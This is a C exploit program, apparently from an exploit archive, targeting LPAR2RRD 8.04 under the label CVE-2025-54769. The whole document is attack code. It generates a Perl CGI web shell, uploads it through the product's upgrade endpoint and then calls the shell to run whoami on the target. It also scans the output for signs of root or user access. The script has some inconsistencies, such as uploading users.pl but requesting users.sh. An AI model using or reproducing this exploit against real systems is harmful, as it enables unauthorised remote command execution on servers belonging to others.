LPAR2RRD 8.04 - Remote Code Execution (RCE)

/*
 * Author       : Byte Reaper
 * Title : LPAR2RRD 8.04 - Remote Code Execution (RCE)
 * CVE          : CVE-2025-54769 
 * Vulnerability: RCE && directory traversal
 * Description : Uploads a malicious Perl script via the LPAR2RRD upgrade endpoint, 
 * exploits directory traversal to place it in a CGI-executable path, then triggers remote command execution.
 */

 #include <stdio.h>
 #include <stdlib.h>
 #include <curl/curl.h>
 #include "argparse.h"
 #include <string.h>
 #include <time.h>
 #include <arpa/inet.h>
 #define FULL 2500
 
 void sleepAssembly()
 {
     struct timespec s ;
     s.tv_sec = 0;
     s.tv_nsec = 500000000;
     
     __asm__ volatile
     (
         "mov $35, %%rax\n\t"
         "xor %%rsi, %%rsi\n\t"
         "syscall\n\t"
         :
         : "D" (&s) 
         : "rax",
           "rsi",
           "memory"
        );
 }
 void syscallLinux()
 {
     __asm__ volatile
     (
         "mov $0x3C, %%rax\n\t"
         "xor %%rdi, %%rdi\n\t"
         "syscall\n\t"
         :
         :
         :"rax", "rdi"
     );
 }
 int fileS = 0;
 int useCookies = 0;
 int verboseMode = 0;
 const char *cookies;
 const char *ip = NULL;
 int portService = 0;
 int port = 0;
 int protocolS = 0;
 const char  *protocol = NULL;
 int CreateFilePerl()
 {
    FILE *fileP = fopen("users.pl", "w");
    if (fileP == NULL)
    {
        printf("\e[1;31m[-] Error Create File (users.pl)\e[0m\n");
        syscallLinux();
        return 0;
    }
    printf("[+] Create File Successfully\n");
    char payloadContent[7000];
    int payload = snprintf(payloadContent, 
         sizeof(payloadContent),
     "#!/usr/bin/perl\n"
                 "use strict;\n"
                 "use warnings;\n"
                 "use CGI;\n"
                 "my $q   = CGI->new;\n" 
                 "my %%PAR = map { $_ => scalar $q->param($_) } $q->param;\n"
                 "if ( $PAR{cmd} && $PAR{cmd} eq \"commandLinux\")\n"
                 "{\n"
                         "\tprint \"Content-type: text/html\\n\\n\";\n"
                         "\tmy $commandW = qx(/usr/bin/whoami 2>&1);\n"
                         "\tprint $commandW;\n"
                 "}\n"
        );
    if (payload < 0 || (size_t)payload >= sizeof(payloadContent)) 
    {
        fprintf(stderr, 
            "\e[1;31m[-] Perl payload truncated or formatting error\e[0m\n");
        syscallLinux();
    }
         
    size_t e = strlen(payloadContent);
    unsigned long writeLen = fwrite(payloadContent, 
         1, strlen(payloadContent),
          fileP);
    if (writeLen != e)
    {
        printf("\e[1;31m[-] Error Fwrite Payload in File Perl\e[0m\n");
        syscallLinux();
        return 0;
    }
    printf("\e[1;36m[+] Write Payload in File Successfully\e[0m\n");
    fclose(fileP);
    return 1;
}         
const char *resultCommand[] = 
{
    "root",
    "admin",
    "user",
    "ssh",
    "/home/",
    NULL
};
 
struct Mem
{
    char *buffer;
    size_t len;
};
size_t write_cb(void *ptr, 
    size_t size,
    size_t nmemb,
    void *userdata)
{
    size_t total = size * nmemb;
    struct Mem *m = (struct Mem *)userdata;
    char *tmp = realloc(m->buffer, m->len + total + 1);
    if (tmp == NULL)
    {
        fprintf(stderr, "\e[1;31m[-] Failed to allocate memory!\e[0m\n");
        syscallLinux();
    }
    m->buffer = tmp;
    memcpy(&(m->buffer[m->len]), ptr, total);
    m->len += total;
    m->buffer[m->len] = '\0';
    return total;
}
void getRequest(CURL *curl, const char *targetIP)
{
    struct Mem responseGet ;
    responseGet.buffer = NULL;
    responseGet.len = 0;
    CURLcode codeLib;
    char full[FULL];
    const char *proto = protocolS ? protocol : "https";
    int prt = portService
              ? port
           : (strcmp(proto, "http") == 0 ? 80 : 443);
    int n = snprintf(full, sizeof(full),
                  "%s://%s:%d/lpar2rrd-cgi/users.sh?cmd=commandLinux",
                     proto, targetIP, prt);
    if (n < 0 || (size_t)n >= sizeof(full)) 
    {
         fprintf(stderr, "\e[1;31m[-] URL buffer too small\e[0m\n");
         syscallLinux();
    }

    curl_easy_setopt(curl, CURLOPT_URL, full);
    curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L);
    curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_cb);
    curl_easy_setopt(curl, CURLOPT_WRITEDATA, &responseGet);
    curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT, 5L);
    sleepAssembly();
    curl_easy_setopt(curl, CURLOPT_TIMEOUT, 10L);
 
    if (useCookies) 
    {
         curl_easy_setopt(curl, 
            CURLOPT_COOKIEFILE, 
            cookies);
         curl_easy_setopt(curl,
             CURLOPT_COOKIEJAR,  
             cookies);
    }
    if (verboseMode)
    {
        printf("\e[1;35m------------------------------------------[Verbose Curl]------------------------------------------\e[0m\n");
        curl_easy_setopt(curl,
                CURLOPT_VERBOSE,
                         1L);
    }
 
    printf("\e[1;37m[+] GET URL: %s\e[0m\n", 
        full);
    struct curl_slist *headers = NULL;
     headers = curl_slist_append(headers , 
        "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
    headers = curl_slist_append(headers,
         "Accept-Language: en-US,en;q=0.5");
    headers = curl_slist_append(headers, 
        "Accept-Encoding: gzip, deflate, br");
    headers = curl_slist_append(headers, 
        "Upgrade-Insecure-Requests: 1");
    headers = curl_slist_append(headers, 
        "Sec-Fetch-Dest: document");
    headers = curl_slist_append(headers, 
        "Sec-Fetch-Mode: navigate");
    headers = curl_slist_append(headers, 
        "Priority: u=0, i");
    headers = curl_slist_append(headers, 
        "Pragma: no-cache");
    headers = curl_slist_append(headers, 
        "Cache-Control: no-cache");
    headers = curl_slist_append(headers, 
        "Connection: keep-alive");
    curl_easy_setopt(curl, 
        CURLOPT_HTTPHEADER, 
        headers);
    codeLib = curl_easy_perform(curl);
    curl_slist_free_all(headers);
    if (codeLib == CURLE_OK) 
    {
        printf("\e[1;35m=================================================== [GET] ===================================================\e[0m\n");
        long codeH = 0;
        curl_easy_getinfo(curl, 
            CURLINFO_RESPONSE_CODE,
             &codeH);
 
        printf("\e[1;36m[+] Request GET sent successfully\e[0m\n");
        printf("\e[1;32m[+] Http Code -> %ld\e[0m\n", codeH);
        if (responseGet.buffer)
        {
            if (verboseMode)
            {
                printf("\e[1;35m=================================================== [RESPONSE] ===================================================\e[0m\n");
    
                printf("%s\n", responseGet.buffer);
                printf("\e[1;35m===================================================================================================================\e[0m\n");
            }
        }
        
        if (codeH >= 200 && codeH < 300) 
        {
            printf("\e[1;36m[+] Positive Http Code (200 < 300) : %ld\e[0m\n",codeH);
            printf("\e[1;32m[+] Http Code -> %ld\e[0m\n", codeH);
            if (responseGet.buffer) 
            {
                printf("\e[1;35m=================================================== [RESPONSE] ===================================================\n");
                    printf("%s\n", responseGet.buffer);
                    printf("\e[1;32m[+] Len Response : %zu\e[0m\n",
                        responseGet.len);
                    printf("\e[1;35m===================================================================================================================\n");
                for (int j = 0; resultCommand[j]; j++) 
                {
                    if (strstr(responseGet.buffer, resultCommand[j])) 
                    {
                        printf("\e[1;34m[+] Word Found In Response.\e[0m\n");
                        printf("\e[1;34m[+] Word : %s\e[0m\n", 
                                resultCommand[j]);
                        printf("\e[1;36m[+] The server is experiencing a vulnerability (CVE-2025-54769)\e[0m\n");
                    }
                    else 
                    {
                        if (verboseMode)
                        {
                            printf("\e[1;31m[-] Not Found Word In Response : %s\e[0m\n", 
                                resultCommand[j]);
                        }
                        else
                        {
                            continue;
                        }
                            
                    }
                    
                }
            } 
            else 
            {
                printf("\e[1;31m[-] Response Server Is NULL !\e[0m\n");
                if (verboseMode)
                {
                    printf("\e[1;31m[-] Exit Syscall\e[0m\n");
                }
            }
        } 
        else 
        {
            printf("\e[1;31m[-] HTTP Code Not Range Positive (200 < 300) : %ld\e[0m\n", codeH);
            if (verboseMode)
            {
                if (responseGet.buffer)
                {
                    printf("\e[1;35m\n=========================================== [Response] ===========================================\e[0m\n");
                    printf("%s\n", responseGet.buffer);
                    printf("\e[1;32m[+] Len Response : %zu\n",responseGet.len);
                    printf("\e[1;35m\n=============================================================================================\e[0m\n");
                }
            }
        }
    } 
    else 
    {
        fprintf(stderr,"\e[1;31m[-] Error Send Request\e[0m\n");
        fprintf(stderr,"\e[1;31m[-] Error : %s\e[0m\n", curl_easy_strerror(codeLib));
        syscallLinux();
    }
 
    free(responseGet.buffer);
    responseGet.buffer = NULL;
    responseGet.len = 0;
    curl_easy_cleanup(curl);
}
 
void remoteCode(const char *ipS)
{

    CURL *curl = curl_easy_init();
    struct Mem response;
    response.buffer = NULL;
    response.len = 0;
    CURLcode codeLibCurl;
    if (verboseMode)
    {
        printf("\e[1;35m================================== [Value Response] ==================================\n");
        printf("\e[1;32m[+] Response Buffer -> %s\e[0m\n", response.buffer);
        printf("\e[1;32m[+] Response Len -> %zu\e[0m\n", response.len);
        printf("\e[1;35m=======================================================================================\n");
    }
    if (!curl) 
    {
        fprintf(stderr, "\e[1;31m[-] Failed to init CURL\e[0m\n");
        syscallLinux();
    }
    char full[FULL];
    const char *proto = protocolS ? protocol : "https";
    int prt = portService
               ? port
               : (strcmp(proto, "http") == 0 ? 80 : 443);
    int n = snprintf(full, 
        sizeof(full),
                      "%s://%s:%d/lpar2rrd-cgi/upgrade.sh",
                      proto, ipS, prt);
     if (n < 0 || (size_t)n >= sizeof(full)) 
     {
        fprintf(stderr, "\e[1;31m[-] URL buffer too small\e[0m\n");
        syscallLinux();
     }
 

    if (!CreateFilePerl()) 
    {
        fprintf(stderr, 
            "\e[1;31m[-] Failed to create File users.pl\e[0m\n");
        syscallLinux();
    }
 
    printf("\e[1;34m[+] Uploading %s to %s\n", "users.pl", full);

    curl_mime *form = curl_mime_init(curl);
    curl_mimepart *field = curl_mime_addpart(form);
    curl_mime_name(field, 
        "upgfile");
    curl_mime_filedata(field,
         "users.pl");
    curl_mime_filename(field,
         "users.pl");
    curl_mime_type(field,
         "application/x-perl");
    curl_easy_setopt(curl,
         CURLOPT_URL, 
         full);
    curl_easy_setopt(curl,
         CURLOPT_POST, 
         1L);
    curl_easy_setopt(curl,
         CURLOPT_MIMEPOST, form);
    curl_easy_setopt(curl, 
        CURLOPT_WRITEFUNCTION, 
        write_cb);
    curl_easy_setopt(curl,
         CURLOPT_WRITEDATA, &response);
    curl_easy_setopt(curl, 
        CURLOPT_FOLLOWLOCATION,
         1L);
    curl_easy_setopt(curl,
         CURLOPT_CONNECTTIMEOUT, 
         5L);
    sleepAssembly();
    curl_easy_setopt(curl, 
        CURLOPT_TIMEOUT, 
        10L);
 
    if (useCookies) 
    {
        curl_easy_setopt(curl, 
            CURLOPT_COOKIEFILE,
             cookies);
        curl_easy_setopt(curl, 
            CURLOPT_COOKIEJAR,  
            cookies);
    }
    if (verboseMode)
    {
        printf("\e[1;35m------------------------------------------[Verbose Curl]------------------------------------------\e[0m\n");
        curl_easy_setopt(curl,
                    CURLOPT_VERBOSE,
                       1L);
    }

    struct curl_slist *headers = NULL;
    char host[128];
    int lenIp = snprintf(host , 
        sizeof(host),
       "Host: %s:%d", 
              ipS, prt);
    if (lenIp < 0 || (size_t)lenIp >= sizeof(host))
    {
        printf("\e[1;31m[-] IP Address is Long !\e[0m\n");
        syscallLinux();
    }
    headers = curl_slist_append(headers, 
        "Accept: */*");
    headers = curl_slist_append(headers, 
        "Accept-Language: en-US,en;q=0.5");
    headers = curl_slist_append(headers, 
        "Accept-Encoding: gzip, deflate, br");
    headers = curl_slist_append(headers, 
        "X-Requested-With: XMLHttpRequest");
    headers = curl_slist_append(headers, 
        "Connection: keep-alive");
    headers = curl_slist_append(headers, 
        "Priority: u=0");
    headers = curl_slist_append(headers, "Authorization: <base64-credentials>");
    headers = curl_slist_append(headers, "Referer: http://127.0.0.1/lpar2rrd/index.html?amenu=upgrade&tab=0");
    headers = curl_slist_append(headers ,
         host);
    void *m = memset(host , 0, sizeof(host));
    if (m == NULL)
    {       
        fprintf(stderr,"\e[1;31m[-] Error Clean HOST IP (memset() == NULL)\e[0m\n");
        syscallLinux();
    }
    int lenO = snprintf(host , 
        sizeof(host),
         "Origin: https://%s:%d", 
            ipS, prt);
    if (lenO < 0 || (size_t)lenO >= sizeof(host))
    {
        syscallLinux();
    } 
    headers = curl_slist_append(headers,
        host); 
    curl_easy_setopt(curl, 
    CURLOPT_HTTPHEADER, 
        headers);
 
    codeLibCurl = curl_easy_perform(curl);
    curl_mime_free(form);
    curl_slist_free_all(headers);
 
    if (codeLibCurl != CURLE_OK) 
    {
        fprintf(stderr, "\e[1;31m[-] curl error: %s\e[0m\n",
            curl_easy_strerror(codeLibCurl));
        syscallLinux();
    }
    long httpCode = 0;
    curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, 
        &httpCode);
    printf("\e[1;36m[+] Protocol  : %s\e[0m\n", protocol);
    printf("\e[1;36m[+] Port : %d\e[0m\n", port);
    printf("\e[1;32m[+] Http Code -> %ld\e[0m\n", httpCode);;
    if (httpCode >= 200 && httpCode < 300)
    {
        printf("\e[1;36m[+] Positive Http Code (200 < 300) : %ld\e[0m\n",httpCode);
        if (response.buffer) 
        {
            printf("\e[1;35m\n=========================================== [Response] ===========================================\e[0m\n");
            printf("%s\n", response.buffer);
            printf("\e[1;32m    [+] Len Response : %zu\e[0m\n",response.len);
            printf("\e[1;35m\n=============================================================================================\e[0m\n");
            if (strstr(response.buffer, "This file doesn't look like the upgrade package")) 
            {
                printf("\e[1;34m[+] Sentence found in reply.\e[0m\n");
                printf("\e[1;34m[+] Sentence : This file doesn't look like the upgrade package\e[0m\n");
                printf("\e[1;34m[+] Exploitation is being completed...\e[0m\n");
                getRequest(curl, ipS);
            }
        } 
        else
        {
            fprintf(stderr,"\e[1;31m[-] Response Buffer is NULL\e[0m\n");
            fprintf(stderr,"\e[1;31m[-] Please Check Your Connection Or Waf\e[0m\n");
            if (verboseMode)
            {
                    fprintf(stderr,"\e[1;31m[-] Exit Syscall...\e[0m\n");
            }
            syscallLinux();
        } 
    }
    else 
    {
        printf("\e[1;31m[-] HTTP Code Not Range Positive (200 < 300) : %ld\e[0m\n", httpCode);
        if (verboseMode)
        {
            if (response.buffer)
            {
                printf("\e[1;35m\n=========================================== [Response] ===========================================\e[0m\n");
                printf("%s\n", response.buffer);
                printf("\e[1;32m[-] Len Response : %zu\n",response.len);
                printf("\e[1;35m\n=============================================================================================\e[0m\n");
            }
        }
    }
 
    
    free(response.buffer);
    response.buffer = NULL;
    response.len = 0;
    curl_easy_cleanup(curl);
}
 
 
int main(int argc, 
    const char **argv)
{
     printf(
         "\e[1;31m"
         "▄▖▖▖▄▖  ▄▖▄▖▄▖▄▖  ▄▖▖▖▄▖▄▖▄▖  \n"
         "▌ ▌▌▙▖▄▖▄▌▛▌▄▌▙▖▄▖▙▖▙▌ ▌▙▖▙▌  \n"
         "▙▖▚▘▙▖  ▙▖█▌▙▖▄▌  ▄▌ ▌ ▌▙▌▄▌  \n"
                "\e[1;37m\t\tByte Reaper\n"
    );
    curl_global_init(CURL_GLOBAL_DEFAULT);
    printf("\e[1;31m------------------------------------------------------------------------------------\e[0m\n");
     
    struct argparse_option options[] =
    {
        OPT_HELP(),
        OPT_STRING('i',
                    "ip",
                    &ip,
                    "Enter Target IP"),
        OPT_STRING('c',
                    "cookies",
                    &cookies,
                    "cookies File"),
        OPT_INTEGER('p', 
             "port", 
             &port ,
             "Enter Target Port Service"),
        OPT_STRING('t',
              "protocol",
              &protocol, 
             "Enter Protocol Service (http / https)"),
        OPT_BOOLEAN('v',
                     "verbose",
                     &verboseMode,
                     "Verbose Mode"),
        OPT_END(),
    };
    struct argparse argparse;
    argparse_init(&argparse,
                   options,
                   NULL,
                   0);
 
    argparse_parse(&argparse,
                    argc,
                    argv);  
    in_addr_t q = inet_addr(ip);
    if (q == INADDR_NONE)
    {
            printf("\e[1;31m[-] Invalid Ip String !\e[0m\n");
            syscallLinux();
    }            
    if (!ip)
    {
        fprintf(stderr,"\e[1;31m[-] Please Enter Target IP  !\e[0m\n");
        
        fprintf(stderr,"\e[1;31m[-] Ex : ./exploit -i <IP> \e[0m\n");
        fprintf(stderr,"\e[1;31m[-] Exit Syscall\e[0m\n");
        syscallLinux();
    }
    if (verboseMode)
    {
        verboseMode = 1;
    }
    if (cookies)
    {
        useCookies = 1;
    }
    if (port)
    {
        portService = 1;
    }
    if (protocol)
    {
        protocolS = 1;
    }
    remoteCode(ip);
    curl_global_cleanup();
    return 0;
 }